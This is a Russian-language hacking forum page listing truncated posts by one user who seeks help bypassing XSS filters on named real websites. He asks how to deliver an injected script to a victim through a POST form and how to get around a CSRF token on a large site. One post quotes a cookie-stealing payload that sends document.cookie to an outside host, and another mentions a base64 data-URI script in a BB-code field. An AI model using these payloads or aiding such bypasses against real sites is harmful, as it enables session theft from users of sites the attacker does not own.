 |
 |
 | |
 | |
| |
 |
 |
FORUMS | |
MEMBERS | |
RECENT POSTS |  |
LOG IN |
|
||||||
|
Показано с 1 по 15 из 15.
На поиск затрачено 0.00 сек. Поиск: Сообщения от: Kolyan333 |
Раздел: Уязвимости
22.01.2016, 16:00
|
|
Ответов: 2,955
Просмотров: 996,429
Автор
Kolyan333
|
|
Раздел: Уязвимости
22.01.2016, 15:31
|
|
Ответов: 2,955
Просмотров: 996,429
Автор
Kolyan333
Вопрос насчет XSS. Фильтр пускает все, но есть...Вопрос насчет XSS. Фильтр пускает все, но есть защита , все что между скобок удаляет, и если поставить пробел через скобку тоже пускает, но как вывести алерт не понял. p.s не получилось. пож... |
|
Раздел: Уязвимости
19.01.2016, 00:28
|
|
Ответов: 2,955
Просмотров: 996,429
Автор
Kolyan333
|
|
Раздел: Уязвимости
18.01.2016, 13:29
|
|
Ответов: 2,955
Просмотров: 996,429
Автор
Kolyan333
Всем привет, помогите с XSS вот сайт...Всем привет, помогите с XSS вот сайт galaxy.mobstudio.ru когда вставляю скрипт для проверки все между скобками фильтр удаляет пример , а если поставить пробел то оставляет, но не смог выполнить... |
|
Раздел: Веб-уязвимости
28.08.2015, 01:10
|
|
Ответов: 852
Просмотров: 18,193
Автор
Kolyan333
|
|
Раздел: Веб-уязвимости
18.01.2015, 01:56
|
|
Ответов: 852
Просмотров: 18,193
Автор
Kolyan333
либо голова не варит либо туплю , есть активка...либо голова не варит либо туплю , есть активка вставляю скрипт, не выполняеться, а в исходнике вижу что мешают символы ">img = new Image(); img.src =\"http://site.ru4_1.gif?\"+document.cookie;... |
|
Раздел: Песочница
17.01.2015, 18:15
|
|
Ответов: 1
Просмотров: 2,694
Автор
Kolyan333
всем привет. в общем есть некий сайт где в bb...всем привет. в общем есть некий сайт где в bb коде в поле url можно писать все что угодно,не фильтруется, когда туда вставляю свой скрипт пример так data:text/html;base64,PHNjc все норм,но когда... |
|
Раздел: Песочница
16.12.2014, 13:07
|
|
Ответов: 5
Просмотров: 4,375
Автор
Kolyan333
|
|
Раздел: Уязвимости
20.11.2014, 22:56
|
|
Ответов: 79
Важно: Xss для новичков
Просмотров: 79,001
Автор
Kolyan333
спс братан . но проблема одна токен мешает, здесь...спс братан . но проблема одна токен мешает, здесь на форуме видел статью обхода но я не смог реализовать, сможешь помочь если разбираешься просто эт в крупном сайте..в паблик не могу скинуть |
|
Раздел: Уязвимости
20.11.2014, 20:40
|
|
Ответов: 79
Важно: Xss для новичков
Просмотров: 79,001
Автор
Kolyan333
|
|
Раздел: Уязвимости
20.11.2014, 19:12
|
|
Ответов: 79
Важно: Xss для новичков
Просмотров: 79,001
Автор
Kolyan333
нашел xss, сканер показал так.) в общем форма для...нашел xss, сканер показал так.) в общем форма для обратной связи с админом в поле ввожу скрипт выполняется только как подсунуть это жертве не знаю , данные передаются через POST . имел дело с get..... |
|
Раздел: Уязвимости
14.11.2012, 13:10
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 622,335
Автор
Kolyan333
вот сайт galaxy.mobstudio.ru/web...вот сайт galaxy.mobstudio.ru/web (http://galaxy.mobstudio.ru/web/) в любой поле вводишь кроме смс в эфир то съедает всё что внутри скобок. проверь пожалуйста |
|
Раздел: Уязвимости
14.11.2012, 09:40
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 622,335
Автор
Kolyan333
когда пишу так >> ript>alert("")ript> то вижу это...когда пишу так >> ript>alert("")ript> то вижу это после фильтрации alert("") но сам скрипт не выполняется |
|
Раздел: Уязвимости
14.11.2012, 09:37
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 622,335
Автор
Kolyan333
нет двойные тоже не пропускают. Когда впереди...нет двойные тоже не пропускают. Когда впереди пишу >>> то пропускает но скрипт не выполняется. Как понял фильтр находит открытие и закрытые скобок и удаляет . |
|
Раздел: Уязвимости
13.11.2012, 22:15
|
|
Ответов: 24,371
Важно: Ваши вопросы по уязвимостям.
Просмотров: 622,335
Автор
Kolyan333
Всем привет. Нашел xss но вот
фильтр съедает...Всем привет. Нашел xss но вот фильтр съедает всё что в скобках <> сначала думал съедает скрипт проверил съедает всё что внутри <> как обойти фильтрацию, помогите пожалуйста |
| Показано с 1 по 15 из 15. |
